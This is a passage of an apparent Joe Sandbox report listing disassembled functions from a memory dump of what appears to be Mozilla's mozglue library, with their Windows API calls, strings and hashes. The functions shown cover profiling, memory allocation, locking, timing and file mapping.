Part of subcall function 6C9FCA10: malloc.MOZGLUE(?), ref: 6C9FCA26

memset.VCRUNTIME140(00000000,00000000,?,?), ref: 6C9F802B
K32EnumProcessModules.KERNEL32(000000FF,00000000,?,?,?,?,?,?), ref: 6C9F803D
moz_xmalloc.MOZGLUE(00000104,000000FF,00000000,?,?,?,?,?,?), ref: 6C9F808D

Part of subcall function 6C9FCA10: mozalloc_abort.MOZGLUE(?), ref: 6C9FCAA2

memset.VCRUNTIME140(00000000,00000000,00000104,?,?,?,?,?), ref: 6C9F809B
GetModuleFileNameW.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 6C9F80B9
moz_xmalloc.MOZGLUE(?,?,?,?,?,?,?,?,?,?), ref: 6C9F80DF
memset.VCRUNTIME140(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 6C9F80ED
wcscpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C9F80FB
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C9F810D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?), ref: 6C9F8133
free.MOZGLUE(00000000,000000FF,00000000,?,?,?,?,?,?), ref: 6C9F8149
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?), ref: 6C9F8167
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?), ref: 6C9F817C
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C9F8199

Memory Dump Source

Source File: 00000000.00000002.2755842972.000000006C9E1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C9E0000, based on PE: true

Associated: 00000000.00000002.2755805573.000000006C9E0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755907922.000000006CA5D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755943740.000000006CA6E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755972976.000000006CA72000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9e0000_file.jbxd

Similarity

API ID: free$memsetmoz_xmalloc$EnumModulesProcess$ErrorFileLastModuleNamemallocmozalloc_abortwcscpy_s
String ID:
API String ID: 2721933968-0
Opcode ID: 4d596094514bd0bed56db9b31446db66cd57e2f06061d27d21fcf9cbbf0a3ed3
Instruction ID: 345e3c1576319961a9e3700afa1fc9842430007c8e4c0437cb5a51309db69ee6
Opcode Fuzzy Hash: 4d596094514bd0bed56db9b31446db66cd57e2f06061d27d21fcf9cbbf0a3ed3
Instruction Fuzzy Hash: 8451CAB1E002149BDB04DFA6DC849EFB7BDEF49268F144225E825E7740E730D945CBA5

Function 6CA46660 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 162threadCOMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(6CA6F618), ref: 6CA46694
GetThreadId.KERNEL32(?), ref: 6CA466B1
GetCurrentThreadId.KERNEL32 ref: 6CA466B9
memset.VCRUNTIME140(?,00000000,00000100), ref: 6CA466E1
EnterCriticalSection.KERNEL32(6CA6F618), ref: 6CA46734
GetCurrentProcess.KERNEL32 ref: 6CA4673A
LeaveCriticalSection.KERNEL32(6CA6F618), ref: 6CA4676C
GetCurrentThread.KERNEL32 ref: 6CA467FC
memset.VCRUNTIME140(?,00000000,000002C8), ref: 6CA46868
RtlCaptureContext.NTDLL ref: 6CA4687F

Strings

WalkStack64, xrefs: 6CA46890

Memory Dump Source

Source File: 00000000.00000002.2755842972.000000006C9E1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C9E0000, based on PE: true

Associated: 00000000.00000002.2755805573.000000006C9E0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755907922.000000006CA5D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755943740.000000006CA6E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755972976.000000006CA72000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9e0000_file.jbxd

Similarity

API ID: CriticalCurrentSectionThread$memset$CaptureContextEnterInitializeLeaveProcess
String ID: WalkStack64
API String ID: 2357170935-3499369396
Opcode ID: e68a9e69e5be5b1f75b0c63443c74db7e79418105886553c634c461a9fdce14a
Instruction ID: cbf99725c6be3fb15f3d55db2b73ca6879c77ac92bb27d132af18452b640df7f
Opcode Fuzzy Hash: e68a9e69e5be5b1f75b0c63443c74db7e79418105886553c634c461a9fdce14a
Instruction Fuzzy Hash: F351CC71A09301AFDB15CF25C844BAABBF4BF89714F04892DF99887740D770A989CB92

Function 6CA2DE60 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 135threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CA29420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C9F4A68), ref: 6CA2945E
Part of subcall function 6CA29420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CA29470
Part of subcall function 6CA29420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CA29482
Part of subcall function 6CA29420: __Init_thread_footer.LIBCMT ref: 6CA2949F

GetCurrentThreadId.KERNEL32 ref: 6CA2DE73
GetCurrentThreadId.KERNEL32 ref: 6CA2DF7D
AcquireSRWLockExclusive.KERNEL32(6CA6F4B8), ref: 6CA2DF8A
ReleaseSRWLockExclusive.KERNEL32(6CA6F4B8), ref: 6CA2DFC9
GetCurrentThreadId.KERNEL32 ref: 6CA2DFF7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CA2E000
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6C9F4A68), ref: 6CA2DE7B

Part of subcall function 6CA294D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CA294EE
Part of subcall function 6CA294D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CA29508

Part of subcall function 6CA1CBE8: GetCurrentProcess.KERNEL32(?,6C9E31A7), ref: 6CA1CBF1
Part of subcall function 6CA1CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C9E31A7), ref: 6CA1CBFA

?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6C9F4A68), ref: 6CA2DEB8
free.MOZGLUE(00000000,?,6C9F4A68), ref: 6CA2DEFE
?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6CA2DF38

Strings

<none>, xrefs: 6CA2DFD7
[I %d/%d] locked_profiler_stop, xrefs: 6CA2DE83
[I %d/%d] profiler_set_process_name("%s", "%s"), xrefs: 6CA2E00E

Memory Dump Source

Source File: 00000000.00000002.2755842972.000000006C9E1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C9E0000, based on PE: true

Associated: 00000000.00000002.2755805573.000000006C9E0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755907922.000000006CA5D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755943740.000000006CA6E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755972976.000000006CA72000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9e0000_file.jbxd

Similarity

API ID: CurrentThread$getenv$ExclusiveLockProcessRelease_getpid$AcquireBufferEnterExit@mozilla@@Init_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@ProfilerRegisterTerminate__acrt_iob_func__stdio_common_vfprintffree
String ID: <none>$[I %d/%d] locked_profiler_stop$[I %d/%d] profiler_set_process_name("%s", "%s")
API String ID: 1281939033-809102171
Opcode ID: 9df558aa9d90832263a0ad1bc178e5a9a35cc791655566edfcaf430c1e042a26
Instruction ID: afd33878fd21253ecb021ec27fab20a321722bee44ecb00a0fa95b16190c9fe4
Opcode Fuzzy Hash: 9df558aa9d90832263a0ad1bc178e5a9a35cc791655566edfcaf430c1e042a26
Instruction Fuzzy Hash: 6F41F431B023229FDB149B6ADD087BA7775EF4130CF188119E90587F42CB38988AC7A5

Function 6CA3D4D0 Relevance: 21.2, APIs: 14, Instructions: 165threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CA3D4F0
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CA3D4FC
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CA3D52A
GetCurrentThreadId.KERNEL32 ref: 6CA3D530
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CA3D53F
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CA3D55F
free.MOZGLUE(00000000), ref: 6CA3D585
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6CA3D5D3
GetCurrentThreadId.KERNEL32 ref: 6CA3D5F9
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CA3D605
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CA3D652
GetCurrentThreadId.KERNEL32 ref: 6CA3D658
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CA3D667
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CA3D6A2

Memory Dump Source

Source File: 00000000.00000002.2755842972.000000006C9E1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C9E0000, based on PE: true

Associated: 00000000.00000002.2755805573.000000006C9E0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755907922.000000006CA5D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755943740.000000006CA6E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755972976.000000006CA72000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9e0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$Xbad_function_call@std@@free
String ID:
API String ID: 2206442479-0
Opcode ID: b610f4289e2d06e57c8503ec335c95f165d81e5d438c7ac98ef5c4b0bbdcdbdf
Instruction ID: 8a1c9bab0585a2b8998beeba8463a8e0fa9d1cb871e38dc06712272a8ad1ffc9
Opcode Fuzzy Hash: b610f4289e2d06e57c8503ec335c95f165d81e5d438c7ac98ef5c4b0bbdcdbdf
Instruction Fuzzy Hash: F5516E71A04706DFC704DF35D484A9ABBB4FF89358F00962DF85A87711DB30A98ACB91

Function 6CA05670 Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 272timeCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_APP_RESTART), ref: 6CA056D1
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CA056E9
?ComputeProcessUptime@TimeStamp@mozilla@@CA_KXZ.MOZGLUE ref: 6CA056F1
?TicksFromMilliseconds@BaseTimeDurationPlatformUtils@mozilla@@SA_JN@Z.MOZGLUE ref: 6CA05744
??0TimeStampValue@mozilla@@AAE@_K0_N@Z.MOZGLUE(?,?,?,?,?), ref: 6CA057BC
GetTickCount64.KERNEL32 ref: 6CA058CB
EnterCriticalSection.KERNEL32(6CA6F688), ref: 6CA058F3
__aulldiv.LIBCMT ref: 6CA05945
LeaveCriticalSection.KERNEL32(6CA6F688), ref: 6CA059B2
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(6CA6F638,?,?,?,?), ref: 6CA059E9

Strings

MOZ_APP_RESTART, xrefs: 6CA056CC

Memory Dump Source

Source File: 00000000.00000002.2755842972.000000006C9E1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C9E0000, based on PE: true

Associated: 00000000.00000002.2755805573.000000006C9E0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755907922.000000006CA5D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755943740.000000006CA6E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755972976.000000006CA72000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9e0000_file.jbxd

Similarity

API ID: Time$CriticalSectionStampStamp@mozilla@@Value@mozilla@@$BaseComputeCount64DurationEnterFromLeaveMilliseconds@Now@PlatformProcessTickTicksUptime@Utils@mozilla@@V01@@V12@___aulldivgetenv
String ID: MOZ_APP_RESTART
API String ID: 2752551254-2657566371
Opcode ID: 7c33df43ecf01051ad2882afed5ab8695dd109a490af99d947ba3bceceea352c
Instruction ID: 0903efb105841ed53811ba3114c191b319ba4e0996fae7341765588d78c75c5c
Opcode Fuzzy Hash: 7c33df43ecf01051ad2882afed5ab8695dd109a490af99d947ba3bceceea352c
Instruction Fuzzy Hash: 10C19135A087819FDB09CF29D94066ABBF1FFCA758F05CA1DE4C497660D7309886CB82

Function 6CA2EC70 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 81threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6CA29420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C9F4A68), ref: 6CA2945E
Part of subcall function 6CA29420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CA29470
Part of subcall function 6CA29420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CA29482
Part of subcall function 6CA29420: __Init_thread_footer.LIBCMT ref: 6CA2949F

GetCurrentThreadId.KERNEL32 ref: 6CA2EC84
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CA2EC8C

Part of subcall function 6CA294D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CA294EE
Part of subcall function 6CA294D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CA29508

GetCurrentThreadId.KERNEL32 ref: 6CA2ECA1
AcquireSRWLockExclusive.KERNEL32(6CA6F4B8), ref: 6CA2ECAE
?profiler_init@baseprofiler@mozilla@@YAXPAX@Z.MOZGLUE(00000000), ref: 6CA2ECC5
ReleaseSRWLockExclusive.KERNEL32(6CA6F4B8), ref: 6CA2ED0A
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6CA2ED19
CloseHandle.KERNEL32(?), ref: 6CA2ED28
free.MOZGLUE(00000000), ref: 6CA2ED2F
ReleaseSRWLockExclusive.KERNEL32(6CA6F4B8), ref: 6CA2ED59

Strings

[I %d/%d] profiler_ensure_started, xrefs: 6CA2EC94

Memory Dump Source

Source File: 00000000.00000002.2755842972.000000006C9E1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C9E0000, based on PE: true

Associated: 00000000.00000002.2755805573.000000006C9E0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755907922.000000006CA5D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755943740.000000006CA6E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755972976.000000006CA72000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9e0000_file.jbxd

Similarity

API ID: ExclusiveLockgetenv$CurrentReleaseThread$?profiler_init@baseprofiler@mozilla@@AcquireCloseHandleInit_thread_footerObjectSingleWait__acrt_iob_func__stdio_common_vfprintf_getpidfree
String ID: [I %d/%d] profiler_ensure_started
API String ID: 4057186437-125001283
Opcode ID: 1a514853343279fd9569107b5b66ad75ece91c3bf4691ef9bb2d8f344c960ab1
Instruction ID: ff016e3f3741e57e1342afb13f98a0b1699546d2eed979ea95fb5a82f64c93cb
Opcode Fuzzy Hash: 1a514853343279fd9569107b5b66ad75ece91c3bf4691ef9bb2d8f344c960ab1
Instruction Fuzzy Hash: E021F6756002259FDB049F76EC08BAA3779FB4626DF188214FC1847B41DB39988BCBE1

Function 6CA28ED0 Relevance: 17.8, APIs: 1, Strings: 9, Instructions: 311COMMON

Download Yara Rule

APIs

Part of subcall function 6C9EEB30: free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C9EEB83

?FormatToStringSpan@MarkerSchema@mozilla@@CA?AV?$Span@$$CBD$0PPPPPPPP@@2@W4Format@12@@Z.MOZGLUE(?,?,00000004,?,?,?,?,?,?,6CA2B392,?,?,00000001), ref: 6CA291F4

Part of subcall function 6CA1CBE8: GetCurrentProcess.KERNEL32(?,6C9E31A7), ref: 6CA1CBF1
Part of subcall function 6CA1CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C9E31A7), ref: 6CA1CBFA

Strings

marker-table, xrefs: 6CA2906C
marker-chart, xrefs: 6CA2905E
timeline-ipc, xrefs: 6CA29096
timeline-overview, xrefs: 6CA2907A
stack-chart, xrefs: 6CA290B2
timeline-fileio, xrefs: 6CA290A4
data, xrefs: 6CA290E8
timeline-memory, xrefs: 6CA29088
name, xrefs: 6CA28F16

Memory Dump Source

Source File: 00000000.00000002.2755842972.000000006C9E1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C9E0000, based on PE: true

Associated: 00000000.00000002.2755805573.000000006C9E0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755907922.000000006CA5D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755943740.000000006CA6E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755972976.000000006CA72000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9e0000_file.jbxd

Similarity

API ID: Process$CurrentFormatFormat@12@@MarkerP@@2@Schema@mozilla@@Span@Span@$$StringTerminatefree
String ID: data$marker-chart$marker-table$name$stack-chart$timeline-fileio$timeline-ipc$timeline-memory$timeline-overview
API String ID: 3790164461-3347204862
Opcode ID: 9611fb0641dd094cbc9c29d0420d69082f7bf9fbaf93b9497ae3963d03801140
Instruction ID: 14c9fc13d96b32df328a45685899c9f4582c9fc68c3e04d821195289613f4c03
Opcode Fuzzy Hash: 9611fb0641dd094cbc9c29d0420d69082f7bf9fbaf93b9497ae3963d03801140
Instruction Fuzzy Hash: B7B1D1B0A002199BDB04CFA9CA517EEBBB5BF94308F584029D501ABF80C775D995CBE1

Function 6CA0C570 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 277stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CA0C5A3
WideCharToMultiByte.KERNEL32 ref: 6CA0C9EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6CA0C9FB
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000,00000000,00000000), ref: 6CA0CA12
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CA0CA2E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CA0CAA5

Strings

0, xrefs: 6CA0D30A
(null), xrefs: 6CA0C596

Memory Dump Source

Source File: 00000000.00000002.2755842972.000000006C9E1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C9E0000, based on PE: true

Associated: 00000000.00000002.2755805573.000000006C9E0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755907922.000000006CA5D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755943740.000000006CA6E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755972976.000000006CA72000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9e0000_file.jbxd

Similarity

API ID: ByteCharMultiWidestrlen$freemalloc
String ID: (null)$0
API String ID: 4074790623-38302674
Opcode ID: 2e51ea661cb23ceb368cedb30dd50e528a74525338865cf7b87b145d0b513445
Instruction ID: 54f0c0eda6e0fdac8f9cfcaaae6821d8224118ccd759ebf9c60972d37488c881
Opcode Fuzzy Hash: 2e51ea661cb23ceb368cedb30dd50e528a74525338865cf7b87b145d0b513445
Instruction Fuzzy Hash: 5EA18C317083429FDB11DF28D58875ABBE1BF8979CF08891DE88997642D731D885CBA3

Function 6CA0C769 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 159COMMON

Download Yara Rule

APIs

islower.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CA0C784
_dsign.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CA0C801
_dtest.API-MS-WIN-CRT-MATH-L1-1-0(?), ref: 6CA0C83D
?ToPrecision@DoubleToStringConverter@double_conversion@@QBE_NNHPAVStringBuilder@2@@Z.MOZGLUE ref: 6CA0C891

Strings

inf, xrefs: 6CA0C78F
nan, xrefs: 6CA0C7A8
INF, xrefs: 6CA0C794
NAN, xrefs: 6CA0C7AD

Memory Dump Source

Source File: 00000000.00000002.2755842972.000000006C9E1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C9E0000, based on PE: true

Associated: 00000000.00000002.2755805573.000000006C9E0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755907922.000000006CA5D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755943740.000000006CA6E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755972976.000000006CA72000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9e0000_file.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@DoublePrecision@_dsign_dtestislower
String ID: INF$NAN$inf$nan
API String ID: 1991403756-4166689840
Opcode ID: e6b7ef5ecb1bb8a66807076d713789f4e15d745782a3644262b9701f6de4672f
Instruction ID: 975e30c839aae58486975a1cef7f1a9d7245a90fe9bada4063b5f97eb226261b
Opcode Fuzzy Hash: e6b7ef5ecb1bb8a66807076d713789f4e15d745782a3644262b9701f6de4672f
Instruction Fuzzy Hash: 4A518171A087408BDB04AF2DD48129AFBF0BF9A34CF048A1CE9D5A7651E770D9C98B53

Function 6C9E4480 Relevance: 16.8, APIs: 11, Instructions: 316COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(B60B60B8,?,?,?,?,6CA24843,?), ref: 6C9E45F5
free.MOZGLUE(?,?,?,?,?,?,?,?,6CA24843,?), ref: 6C9E468A
free.MOZGLUE(?,?,?,?,?,?,6CA24843,?), ref: 6C9E46C9
free.MOZGLUE(?), ref: 6C9E46EF
free.MOZGLUE(?), ref: 6C9E4712
free.MOZGLUE(?), ref: 6C9E4735
free.MOZGLUE(?), ref: 6C9E4758
free.MOZGLUE(?), ref: 6C9E477B
free.MOZGLUE(?), ref: 6C9E479E

Memory Dump Source

Source File: 00000000.00000002.2755842972.000000006C9E1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C9E0000, based on PE: true

Associated: 00000000.00000002.2755805573.000000006C9E0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755907922.000000006CA5D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755943740.000000006CA6E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755972976.000000006CA72000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9e0000_file.jbxd

Similarity

API ID: free$moz_xmalloc
String ID:
API String ID: 3009372454-0
Opcode ID: aa7be1989f5fa408049d57a05e55bed1c43f9fc0c85608f5b27a3d924a06bd8a
Instruction ID: b35f13089372857415010404e50bbcd069ca8412f86eec309cb20041489c4ec3
Opcode Fuzzy Hash: aa7be1989f5fa408049d57a05e55bed1c43f9fc0c85608f5b27a3d924a06bd8a
Instruction Fuzzy Hash: 01B1F171A001118FDB198EBCDC9476D77B6AF6A328F184669E816DBB82D731D844CF81

Function 6CA4AC20 Relevance: 16.6, APIs: 11, Instructions: 92fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 6CA4AC52
CreateFileMappingW.KERNEL32 ref: 6CA4AC7D
GetSystemInfo.KERNEL32 ref: 6CA4AC98
MapViewOfFile.KERNEL32 ref: 6CA4ACB0
GetSystemInfo.KERNEL32 ref: 6CA4ACCD
MapViewOfFile.KERNEL32 ref: 6CA4AD05
UnmapViewOfFile.KERNEL32 ref: 6CA4AD1C
CloseHandle.KERNEL32 ref: 6CA4AD28
UnmapViewOfFile.KERNEL32 ref: 6CA4AD37
CloseHandle.KERNEL32 ref: 6CA4AD43
CloseHandle.KERNEL32 ref: 6CA4AD67

Memory Dump Source

Source File: 00000000.00000002.2755842972.000000006C9E1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C9E0000, based on PE: true

Associated: 00000000.00000002.2755805573.000000006C9E0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755907922.000000006CA5D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755943740.000000006CA6E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755972976.000000006CA72000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9e0000_file.jbxd

Similarity

API ID: File$View$CloseHandle$CreateInfoSystemUnmap$Mapping
String ID:
API String ID: 1192971331-0
Opcode ID: cd371a274d0506950a785e740050fbc5fdfbe4fa72fb858ac241ef521e384a6f
Instruction ID: 9f28060e6a49ecee6eea863f2381c253c02225a6862ee0e8183b8cd8a8d188e4
Opcode Fuzzy Hash: cd371a274d0506950a785e740050fbc5fdfbe4fa72fb858ac241ef521e384a6f
Instruction Fuzzy Hash: AC3173B1A047058FDB04AF7DD64826EBBF1FF85305F01CA2DE99987211EB749499CB82

Function 6C9F9620 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 103libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6C9F9675
__Init_thread_footer.LIBCMT ref: 6C9F9697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6C9F96E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6C9F9707
__Init_thread_footer.LIBCMT ref: 6C9F971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C9F9773

Part of subcall function 6CA1AB89: EnterCriticalSection.KERNEL32(6CA6E370,?,?,?,6C9E34DE,6CA6F6CC,?,?,?,?,?,?,?,6C9E3284), ref: 6CA1AB94
Part of subcall function 6CA1AB89: LeaveCriticalSection.KERNEL32(6CA6E370,?,6C9E34DE,6CA6F6CC,?,?,?,?,?,?,?,6C9E3284,?,?,6CA056F6), ref: 6CA1ABD1

GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6C9F97B7
FreeLibrary.KERNEL32 ref: 6C9F97D0
FreeLibrary.KERNEL32 ref: 6C9F97EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C9F9824

Strings

Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6C9F9670
ntdll.dll, xrefs: 6C9F96E3
NtMapViewOfSection, xrefs: 6C9F9701
MapViewOfFileNuma2, xrefs: 6C9F97B1

Memory Dump Source

Source File: 00000000.00000002.2755842972.000000006C9E1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C9E0000, based on PE: true

Associated: 00000000.00000002.2755805573.000000006C9E0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755907922.000000006CA5D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755943740.000000006CA6E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755972976.000000006CA72000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9e0000_file.jbxd

Similarity

API ID: Library$AddressCriticalErrorFreeInit_thread_footerLastLoadProcSection$EnterLeave
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 409848716-3880535382
Opcode ID: 69dc5425329a07f9f75764464250eb0e321c07b8423f3a889b24c977f8cc4d24
Instruction ID: 24bfa3d6cbb90a8fd663d33bb5dd94f0b48450053c5cd304581159033cea3a36
Opcode Fuzzy Hash: 69dc5425329a07f9f75764464250eb0e321c07b8423f3a889b24c977f8cc4d24
Instruction Fuzzy Hash: 8E41B3B06003069FDF04CFA6EC84BA6B7B5FB49715F058128ED2587B40E730E85ACBA1

Function 6C9E1E90 Relevance: 15.1, APIs: 9, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CA6E784), ref: 6C9E1EC1
LeaveCriticalSection.KERNEL32(6CA6E784), ref: 6C9E1EE1
